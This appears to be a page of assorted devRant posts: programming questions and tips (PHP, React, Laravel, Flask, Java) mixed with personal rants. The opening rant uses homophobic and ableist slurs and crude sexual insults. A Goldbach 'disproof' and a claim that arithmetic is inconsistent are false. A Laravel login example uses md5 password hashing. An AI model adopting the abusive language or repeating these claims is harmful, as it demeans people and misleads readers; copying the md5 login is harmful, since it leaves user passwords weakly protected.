After listening to too many andrew tate podcasts i started getting up very early (to start working) and staying late (to continue working). I am now basically like a robot who lives just to work and do nothing else. I realized as i worked for.... Let me calculate..... 9am till now 1:19am lets round it to 1 so thats 9-1 =8 so 24h-8 =16h a day minimum €& and after bour 10-12h of nonstop work my concentration drastically dropped. I stsrted coding bugs . I couldnt figure out how to debug the most dumbest shit. Dumbest shit stsrted to look like the hardest shit. "happy or not i as a man will do the work anyways"-andrw tate. Fine. I tried it and now i fucked my concentration. Its impossible its humanly not possible you fucking cunt to do this lying fucking fag gay bitch ass shithead tate talking shit all the time while scamming dumb fucktards for 65$ a month on a course. Fuck off. Bitch retard overglorifying himself to create a false image and reality as if he's a superhuman. Hes a big pile of fucking shithole. Garbageman fucking himself of egocentric shithell bet he also gangbang his own asshole and cum dumps into his mouth daily Fuck offf2
-
Hii,
I want to use HTML5 History API.
I'm using ajax to fetch whole page (Yes Whole page)
Then I'm searching a particular TAG and replace whole html code in container.
I'm feeling that I'm doing it so wrong.
Can anybody tell me best use of HTML5 History API.
This update data in page without reloading page, but I think this does not make any sense.
This is an Example of my Code, You'll get Idea:
$('body').on('click','a.ajax-nav-link',function(e) {
e.preventDefault();
//call ajax method, show data and update url via html5 history api :)
if (isHistorySupport) {
//fetch url associated with a tag
let url = $(this).attr("href");
let title = $(this).attr("data-title");
fetchPage(url);
$(".ajax-nav-link").removeClass("active");
$(this).addClass("active");
return false;
}else {
alert("Not Available");
}
});5 -
Wherein I disprove Goldbachs Conjecture (in one specific case)
golbach conjecture:
every even number is the sum of two primes
lets call the primes p and q
lets call our even number p+q=n
we can go further by establishing two additional variables
u=p-1, v=q-1
therefore every even number is the sum of u+v+2, according to goldbach's own reasoning.
in the simplest case...
p=2, q=2, p+q=4
u=1, v=1, u+v+2 = 4
We can therefore make a further conjecture in the simplest case every sum of two primes, less 2, is the sum of two composites. This likely has connections to the abc conjecture for a variety of reasons. But leaving ancillary discussion aside for a moment...
We can generalize to a statement that every even number is the sum of two odd numbers. And every odd number greater than 1 is the sum of an odd number and an even number.
Finding an even number that is not the sum of (p-1)+(q-1) would therefore be equivalent to disproving the goldbach conjecture. Likewise proving every even number is the sum of (p-1)+(q-1) would be the equivalent of proving it.
Proving all even numbers greater than 2 are the sum of two composites + 2 would be proof of goldbachs conjecture, and finding any example or an equation that proves an example exists such that *some* subset of even numbers are NOT the sum of two composites +2, would disprove the conjecture.
Lets start with a simple example:
2+2=4
because 4-2=2, and two is not the sum of two composite numbers goldbachs conjecture must ipso facto be false.
QED
If I've wildly misapprehended the math, please, somebody who is better at it, correct me.
Honestly if this is actually anything, I'd be floored to discover no one has stumbled on this line of reasoning before.8 -
I created a custom interface for an LMS that allows students to see their marks even if they haven't been 'shared' yet by their teachers. This is all done without accessing any unauthorized apis, as the LMS always returns all student marks and then hides the ones with a False 'shared' key. School administration caught me, so I've now shut it down. I have a meeting with the deans tomorrow. Any advice? (Again, this is all done using existing methods found within this LMS)4
-
On https://reactjs.org/docs/... it is declared that useEffect runs after render is done.
However... if you put into useEffect an expensive calculation or operation e.g. "add +1 to x billion times", it will get stuck after updating the data, but before the re-render is done.
This leads to inconsistency between the DOM and the state which I believe is a foundational point of react. Moreover, the statement that "useEffect runs after render" is false.
See also: https://stackoverflow.com/questions...
The solution is to add a timeout to that expensive operation, e.g. 50 ms so the re-render can finish itself.
The integrity of my belief in react has received a shrapnel today. Argh :D Guys, how this can be? It seems that useEffect is not being run after re-render.13 -
Happy new year Ragnar, doing such an amazing job that AI would be a down grade in any way. Two false positives since existance and rarely one slips trough. People do actually call @ragnar if smth slips trough. Makes me happy and surprised how much people did read the few times I mentioned that feature. Says a lot about activity regarding readers in the community.
The spammers didn't celebrate new years it seems. Hard workii workii. Also happy new year.
Buffon, especially happy new year to you. You owe me two days of work for your shit. At least happy to know that the spam king at least is a real dev.
I hope this will be a good year for devrant. There's no reason that it wouldn't. We're te coolest independent single subject reddit thread on the internet.1 -
At work we use a custom python library to parse XML responses from an internal API to objects. I literally spent half an hour pondering why an if statement was misbehaving. Turns out it parsed <tag>false<\tag> as obj.tag = 'false' instead of the boolean False which obviously made "if obj.tag:" misbehave 😒
-
You could use /\D+/.test('498934') == false to check if a string contains only digits. That statement will result to true. /\D+/.test('oijwei3') == false will result to false since the the test argument has letters in them.4
-
When you debug and notice that "myString".equals("myString") evaluates to false...and after an hour realize it's a 'Byte Order Mark', which of course Java doesn't handle properly. Ended up using BomInputReader from Apache commons, which made my life simpler.
If I ever want to inflict pain on other developers, I shall write files to disk with a byte order mark. 😂 -
It annoys me immensely when I struggle with myself, criticizing my own lack of knowledge in certain areas and my colleagues say: "You'll learn by doing". No, I won't, that's a foolish dogma.
I won't and I have never learned by 'doing'. The best results I've obtained have been through understanding every last bit of what's under the hood of a particular functionality. I'm not going to understand the white box by constantly probing the black box, it's just unsatisfactory and insufficient information. It's even dangerous to base yourself on the black box results because you often might get false positives.
I got through university by massive multilateral sensory focus: kinesthetic (writing things down), auditory (listening to the professor), visual (observing graphs and models of the material taught), conscious (mentalizing it all and interlinking information so that later it's accessible from long-term memory). I can confirm this is necessary for the brain because a Neurologist once told me just that.
At least for me, I had the most horrible grades (D's and F's) in freshman year with the 'learn by doing' method and the best grades (A, A+) with the multi-sensory method in later years as I matured my studying methods. In fact, with that method I've continuously outsmarted other people who had 10 years more experience than me ('experts', 'consultants',..) but they preferred to stay in the ignorant 'bro zone' rather than learning things properly. Even worse, the day they arrived on the scene, they completely broke the production environment and messed it up for the whole team. I felt like banging my head on my desk. It just makes me disappointed in the system.
If you follow popular method, you'll soon find yourself in the same problems that arise from doing what everyone else does. What happens at that point? That's right, they have to call in someone who actually bothered learning things.9 -
How should you override Equals in Java?
We have model classes with lots of fields and the we override the details equals to compare all the fields. I guess like doing a deep comparison.
And in all these classes SONAR is complaining about lots of ifs, complexity, etc.
And it's killing the analysis time... Old issue never fixed because whoever setup sonar was too incompetent to bother asking, researching, or fixing...
Is there a better way to override the equals to get the same result but without triggering SONAR issues?
Pretty sure this is a solved problem. And well if the top of my head, is just create a Util method that uses reflection like
Boolean equals( Object a, b, Class class)
foreach (String f: class, getFields()) {if !compare(class.getField(f,a),class.getField(f,b)) return false; }
return true5 -
I was working on a bug in a parser for the response from an api which returns 'n/a' when a certain measurement isn't available. The code was "if ($value == 'n/a')" and when this was true the value was rejected (language is php).
Some of you may instantly understand the problem here. I didn't. Some of the measurements were 0 which is ok, but for some reason it didn't accept them.
Then I discovered the bitter truth:
0 == 'n/a' is true!
Apparently php tries to convert the string to a number to compare it and if it fails it returns false, so false == 0
😞3 -
Unicorn Themed day at code club ^_^
``` """ unicorn finder """
from random import randint
class UnicornFinder:
""" UnicornFinder class finds uncorns """
def __init__(self):
pass
def find_unicorn(self):
""" find a unicorn """
unicorn = True
for i in range(0, 31):
if randint(0, 7) != 7:
unicorn = False
break
if unicorn:
print("u200 unicorn found")
else:
print("u404:: unicorn not found")
if __name__ == '__main__':
UnicornFinder().find_unicorn()
```1 -
Force pushing a better version in a different language to the repo of a program that I wrote 2 years ago. It was sort of a memory, but I mainly looked at it to feel better about my current coding style.
I don't want to take comfort in knowing that I'm getting better. I know that, and it feels like false affirmation. If anything, I want to know that I'm good compared to others, not compared to a previous, dumber version of me. I'll never get to beat him anyway.1 -
We have this C# class which is like the core of our entire business logic. If you are in another class and it doesn't contain an argument in the constructor and/or property of that core class you're gonna have a bad time.
That core class has lots of useful business logic bools, "IsSomething", "HasSomething" etc. However that core class has a parameterless constructor which is sprinkled dangerously throughout our app, meaning the object is often not initialised properly and it's a 2 day mindfuck to make sure your "IsSomething" bool is actually false and not just false because the other business logic that bool relies on wasn't initialised and the bool has never had a chance to be true.
It's difficult to trust even a simple "if' statement. And if you're somewhere were you've had a list of that core class passed in, you need to trace how the list was initialised to make sure all your bools have been set 😴4 -
Google Search Console insists there is "content wider than screen" on a one-pager I did which works very well on all tested sizes and devices, and scores 90+ on Google PageSpeed Insights.
"Validation failed - see details."
Clicked on "see details", and only saw the 1 URL I already knew, which seems to be working fine for everyone. If Google detetcs an actual issue, it would be really helpful to provide some details, otherwise this kind of false-positive crap only serves to care less about their tools (which is a bit of a shame, as they do provide a lot of value most of the time).2 -
One of the worst practices in programming is misusing exceptions to send messages.
This from the node manual for example:
> fsPromises.access(path[, mode])
> fsPromises.access('/etc/passwd', fs.constants.R_OK | fs.constants.W_OK)
> .then(() => console.log('can access'))
> .catch(() => console.error('cannot access'));
I keep seeing people doing this and it's exceptionally bad API design, excusing the pun.
This spec makes assumptions that not being able to access something is an error condition.
This is a mistaken assumption. It should return either true or false unless a genuine IO exception occurred.
It's using an exception to return a result. This is commonly seen with booleans and things that may or may not exist (using an exception instead of null or undefined).
If it returned a boolean then it would be up to me whether or not to throw an exception. They could also add a wrapper such as requireAccess for consistent error exceptions.
If I want to check that a file isn't accessible, for example for security then I need to wrap what would be a simple if statement with try catch all over the place. If I turn on my debugger and try to track any throw exception then they are false positives everywhere.
If I want to check ten files and only fail if none of them are accessible then again this function isn't suited.
I see this everywhere although it coming from a major library is a bit sad.
This may be because the underlying libraries are C which is a bit funky with error handling, there's at least a reason to sometimes squash errors and results together (IE, optimisation). I suspect the exception is being used because under the hood error codes are also used and it's trying to use throwing an exception to give the different codes but doesn't exist and bad permissions might not be an error condition or one requiring an exception.
Yet this is still the bane of my existence. Bad error handling everywhere including the other way around (things that should always be errors being warnings), in legacy code it's horrendous.5 -
On science and religion. Inspied by a comment in another rant, credits to @Commodore and @cjbatz
According to Godel's incompletness theorems, aritmetics is incomplete and inconsistent. Therefore, any science based on aritmetics (dude, like, every) is also.
Therfore, as a mathematician, I must accept that there are things that cannot be proven by current science, and that there are statements that are true and false at the same time in current science.
So, science can't prove religious beliefs? It cant prove P vs NP either. It might someday. Science couldn't prove earth wasn't flat for a looong time. Or Pythagoras theorem.
But more importantly, if science can prove something, doesn't mean it can't prove the exact oposite.
This way of thinking allows for any and all ridiculous beliefs, under the shield of "it might be proven one day" or "doent't mean opposite isn't true also" but kerp in mind that there are complete and consistent sciences and proofs in them. Check if something's been proven to exist or not exist without doubt.11 -
Years ago I was in my late 20s.
Years and years ago.
If you asked me if I'd be drawn into a colossal waste of time as the whole country seemed to quite suddenly turn insane, i'd have called you crazy.
If you said 'you will have the same jobs at points others, you'll be tricked into driving around places under false pretenses and you'll have sex with 500+ women and keep forgetting because they'll find a way to tire you out or take advantage of some subject matter mirroring a childhood trauma' i'd say you were crazy.
well... none of you said that, so you're all crazy. otherwise now i'd say you were all honest and upright.
other than that my first day of repeat work was fine. thanks for asking. it feels good to do honest things for money.
maybe they like making me slowly filthy from some weird sex thing.
maybe this is a mating ritual of some sort lol
'fuck me you dirty dockworking ex jailbird on your way to becoming a developer all over again, you remind me of dad !"1 -
Legacy code in java :
boolean recursiveMethod(args){
Int i= 0;
Boolean doublon = false;
For(--whatever the loop--){
If(condition1 && condition2){
If(i++ > 0){
doublon=true;
Return doublon;
}
}
}
[...]
}5 -
//not a rant
Ok so weird bug. Fellow C# people, help me out.
//already made it work so no I don't need to post it on SO
I write a Switch Case block based on the user's combo-box selection id.
if id 0, add everything to the mainpage grid
if 1, a foreach loop filtering out the ones with a certain attribute of the object as false and adding em to the grid on the mainpage
if 2, similar scenario as 1.
Countless times I had a null exception with the "count" variable being the number of items in the post which, wasn't null. there was no other variable that was being initialized from within the block, so I had no idea what was causing it.
Moving to an if-else statement doing the same thing, same issue.
In the end I created 2 empty lists before the switch case and filled them up and then another loop filling the mainpage grid with the now-filled list.
In the end im doing the same thing, with no issues, but I don't understand why adding it directly caused an error, what was null?
I wanna understand the working that might be causing this.. if anyone else came across this, would be glad to hear from you8 -
Pps with Nuxt experience, please help: Nuxt has a config option "ssr" that can be set to false: https://nuxtjs.org/docs/...
My question is: what is the point of using Nuxt if you set ssr to false, considering that I would use a lighter solution for static sites, or just Vue for an SPA?8 -
We have a huge domain model in Java and something is really fucked up with our equals/hashcode implementations and know body can track it down.
I have suggested Lombok/Groovy several times but they didn't listen.
Anyways it is so fucked up, that map.contains(foo) returns false, although it is part of the map.
So we wrote something like this:
for (Entity e: map.keyset) {
if (foo.equals(e) {
return true;
}
}1 -
This more how I got back into dev.
I made a mistake and got out of dev for a year or so. What hooked me back in was hearing our C# lead missing that no applicants were passing his C# screening test. I'd never written a line of C# in my life but I had done C++ and Java, so I gave it a go, and apart from one small issue, he said my attempt was the best he'd seen in that recruitment drive. So I started picking up tickets and the rest is history.
The one small issue was doing `if (something == false)` instead of `if (!something)`. Where I work now the C# style guide actually recommends the former! -
I recently started working on laravel. As the community says it was easy to get along with the framework and its methodologies. But then i had to do multiple login with framework in same domain.
Oh man, i spent a week to make it work. All those guards and middlewares realted to login was driving me crazy. The concept was clear, but somehow the framework was like "You! I shall make you spend a week for my satisfaction". The project demo was nearing and i was doing all kind of stuff i found. Atlast after continous tries it worked. Never in my 4+ years as a developer i had to face such an issue with login.
So here is how it works,if anyone faces the same issue:
(This case is beneficial if you're using table structures different from default laravel auth table structures)
1. Define the guards for each in auth.php
Eg:
'users' => [
'driver' => 'session',
'provider' => 'users',
],
'client' => [
'driver' => 'session',
'provider' => 'client',
],
'admin' => [
'driver' => 'session',
'provider' => 'admins',
],
2. Define providers for each guards in auth.php
'users' => [
'driver' => 'eloquent',
'model' => <Model Namespace>::class,
'table' => '<table name>', //Optional. You can define it in the model also
],
'admins' => [
'driver' => 'eloquent',
'model' => <Model Namespace>::class,
],
'client' => [
'driver' => 'eloquent',
'model' => <Model Namespace>::class,
],
Similarly you can define passwords for resetting passwords in auth.php
3. Edit login controller in app/Http/Controller/Auth folder accordingly
a. Usually this particular line of code is used for authentication
Auth::guard('<guard name>')->attempt(['email' => $request->email, 'password' => $request->password]);
b. If above mentioned method doesn't work, You can directly login using login method
EG:
$user = <model namespace>::where([
'username' => $request->username,
'password' => md5($request->password),
])->first();
Auth::guard('<guard name>')->login($user);
4. If you're using custom build table to store user details, then you should adjust the model for that particular table accordingly. NOTE: The model extends Authenticatable
EG
class <model name> extends Authenticatable
{
use Notifiable;
protected $table = "<table name>";
protected $guard = '<guard name>';
protected $fillable = [
'name' , 'username' , 'email' , 'password'
];
protected $hidden = [
'password' ,
];
//Below changes are optional, according to your need
public $timestamps = false;
const CREATED_AT = 'created_time';
const UPDATED_AT = 'updated_time';
//To get your custom id field, in this case username
public function getId()
{
return $this->username;
}
}
5. Create login views according to the user types you required
6. Update the RedirectIfAuthenticated middleware for auth redirections after login
7. Make sure to not use the default laravel Auth routes. This may cause some inconsistancy in workflow
The laravel version which i worked on and the solution is for is Laravel 6.x1 -
class devRantPost
{
bool isRant = false;
string title = "Feature idea";
string content = "\n
If you try to buy something and the purchase fails, the error message should say this: Stop trying to use Lucky Patcher!";
bool isTried = totallyNot;
bool isWorked = false;
string purpose = "Research";
string content2 = "Pls don't ban me!";
}3 -
I'm working on a simple Flask project. But when I try to work with the database I got an error called "No module named MySQLdb". I also got error when I try to install "mysql clint" with this command:-pip install mysqlclient. So I searched for the solution of this problem but every time I find someone told to download "MySQL client" from this website:-
https://lfd.uci.edu/~gohlke/...
But the "MySQL client" file is no longer available on that website.
please help me by giving that file or any other way. You can also check my project from here:-
https://drive.google.com/file/d/...
unfortunately, my operating system is Android 6.0
Here is the code:-
from flask import Flask,render_template, request
from flask_sqlalchemy import SQLAlchemy
app= Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = "mysql://localhost/codingthunder/"
db = SQLAlchemy(app)
class Contacts(db.Model):
sno = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(80), nullable=False)
phone_num = db.Column(db.String(14), nullable=False)
mes = db.Column(db.String(120), nullable=False)
date = db.Column(db.String(12), nullable=False)
email = db.Column(db.String(20), nullable=False)
@app.route("/home")
def home():
return render_template("index.html")
@app.route("/about")
def about():
return render_template("about.html")
@app.route("/contact", methods=['GET','POST'])
def contact():
if(request.method=='POST'):
name=request.form.get('name')
email=request.form.get('email')
phone=request.form.get('phone')
message=request.form.get('message')
entry=Contacts(name=name,phone_num=phone,mes=message, date="2019-09-01 12:06:20", email=email)
db.session.add(entry)
db.session.commit()
return render_template("contact.html")
@app.route("/post")
def post():
return render_template("post.html")
app.run(debug=True)3 -
Recently had trouble with some SQL. My tests would not pass, so I had to manually run it to debug it.
SELECT * FROM a JOIN b ON [...] WHERE b.foo NOTNULL
Yielded 0 of 3 rows. Expected 1
Tried querying WHERE b.foo ISNULL instead. Would have expected 2 of 3 rows, but got 1.
After googling i discovered that comparing with NULL does not return a true/false binary description, but may also return unknown if the type is not a NULL type, e.g. 42 ISNULL =" UNKNOWN
😳 -
#!/bin/bash
let rant=false
Has anyone figured out how to use a magic mouse with a kvm? I have a kvm which I am thinking about putting a Bluetooth dongle into and pairing with magic mouse. Does anyone know if this would work?3 -
You know it is not acceptable to not finally answer this goddamn question for myself or with some help !
PyTorch is driving me insane !
I follow the goddamn docs, practically just created a copy of the sample for the training portion, even if my design were to suck, the training steps SHOULD change the model parameters right ?
so if I do a...
model.parameters().clone() before training
and mode.parameters().clone() after training
torch.equal(p1.data,p2.data) should be false right ????6 -
HELP! Stack overflow did not take this question! I want to learn code! How can I learn code if they won’t help! Question was:
CS 101 take home assignment question 1: write a function to determine if an array of numbers is sorted. The function must return true if it is, false otherwise.
@Fast-Nop , @Root , @theabbie please. I have a week to get this question done 😭19 -
If (method-exists (devrant->rantAboutBreakingUpWithGirlfriend ()){
Echo "This seriously sucks %#$@£¥";
}else {
Return false;
} -
So I have this gulp task to minify javascript but it doesn't actually do that, It minifies in a single line which is actually correct, but it doesn't convert if/else into ternary and true/false to !0/!1?
> Gulp Task: https://pastebin.com/1d8k8juX -
I have a question here. (Or 2...) What would you do if at some point, you see a resume of a colleague where he puts false experiences and misrepresenting qualifications ?
And what if someone 'discover' he has like a ton of admin/confident info of his previous job ?9 -
I got my first client at upwork almost a week ago and the experience has been awful so far, not because of this client but because of the codebase, it's so bad, it is running DEBUG=True on production and if I turn it DEBUG=False things break for some fucking reason that makes no sense (I don't think that's true but the previous developer states it). The website is running on pythonanywhere which is weird, bootstrap is a nightmare, the database needs to be in sync all the time using a manage.py command that executes tasks received through a webhook from a Hubspot shit that has all the information. Just adding a simple edit/verify profile on that site is such a fucking nightmare. The whole project its full of holes and things that are just screaming to break, its like a fucking house of cards that falls to the ground the second I edit something and it looks like its my fault. I'm thinking of telling the client that I will no longer work on this project
-
i can never understand the theme behind kotlin.
THEY DON'T HAVE A FUCKING TERNARY OPERATOR!!![?:]
Like before realizing this, i thought yeah jetbrains has decided to make android development a privileged hobby and non beginner friendly , so its now creating an encoding like language, in the false theme of " reducing code size"
But now they remove WORLDWIDE KNOWN, OPTIMIZED , EASY TO READ AND USE AND UNDERSTAND FEATURE of ternary operator and replacing it with less powerful but same looking elvis operator.( and stating that using if else for that is a better option)
Like why? if your goal is to make a shitty encoding language that makes everything shorter and most of the things optional, why remove the already efficient if else encoder?
God knows when this stupid language is going to stop my brain from getting blasted11